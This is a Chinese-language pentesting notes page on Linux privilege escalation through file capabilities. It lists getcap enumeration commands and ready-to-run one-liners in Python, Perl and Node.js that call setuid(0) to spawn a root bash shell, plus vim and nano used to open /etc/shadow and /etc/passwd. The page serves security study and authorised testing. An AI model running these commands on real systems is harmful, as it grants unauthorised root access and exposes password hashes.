> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md).

# Capabilities

Linux capabilities 权限提升笔记，涵盖 cap\_setuid、cap\_dac\_read\_search、GTFOBins、Python、Perl、Vim、tac 和 tar 滥用。

Linux capabilities 将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力，例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力，可以绕过普通用户限制。

## 方法

* 枚举文件能力并识别带有危险权限位的二进制文件。
* 检查 GTFOBins 和特定语言的 payload，查找可用于 shell、读取、写入或 setuid 滥用的方法。
* 在尝试获取 root shell 之前，优先使用最小化的验证命令。

## 快速检查

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## 危险能力示例

| 能力                       | 重要原因                  |
| ------------------------ | --------------------- |
| `cap_setuid+ep`          | 可允许二进制文件切换到 UID 0。    |
| `cap_dac_read_search+ep` | 可绕过文件读取和目录搜索权限。       |
| `cap_dac_override+ep`    | 可绕过普通文件权限检查。          |
| `cap_sys_admin+ep`       | 非常广泛的能力，通常几乎等同于 root。 |
| `cap_setgid+ep`          | 可允许二进制文件切换到特权组。       |

如果 Python 具有 `cap_setuid`，则最小化验证为：

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## 语言运行时示例

Python：

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl：

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js：

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID 示例：

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

读/写能力示例：

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

当存在 capabilities 时，还应结合 GTFOBins 审查其他解释型运行时：

```
ruby
php
lua
```

查看进程和可用的 capabilities：

```bash
capsh --print
capsh --print | grep cap_
```

设置 capabilities 需要 root，但这对实验室复现很有用：

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim Capabilities</h4></td><td>关于 Linux 权限提升的 Vim capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md">Capabilities（Vim）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python Capabilities</h4></td><td>通过 cap_setuid 和 GTFOBins payload 进行 Linux 权限提升的 Python capability 滥用。</td><td><a href="/zh/privesc/capabilities/python-capabilities.md">Python Capabilities</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar Capabilities</h4></td><td>关于 Linux 权限提升的 tarS 二进制 capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md">Capabilities（tarS）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl Capabilities</h4></td><td>关于 Linux 权限提升的 Perl capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md">Capabilities（Perl）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac Capabilities</h4></td><td>关于 Linux 权限提升的 tac capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md">Capabilities（tac）- Linux 权限提升</a></td></tr></tbody></table>


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